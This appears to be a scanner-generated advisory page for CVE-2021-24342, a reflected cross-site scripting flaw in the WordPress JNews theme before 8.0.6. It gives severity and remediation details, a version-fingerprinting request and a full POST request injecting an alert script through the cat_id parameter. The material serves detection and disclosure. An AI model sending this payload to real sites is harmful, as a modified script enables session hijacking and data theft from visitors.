| Title | WordPress JNews Theme <8.0.6 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02816 |
| CVE ID | CVE-2021-24342 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wordpress xss wp-plugin wpscan jnews vuln |
WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
GET /wp-content/themes/jnews/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5
Connection: close
Accept-Encoding: gzip
POST /?ajax-request=jnews HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Content-Length: 136
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24342.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24342.pcap
N/AN/A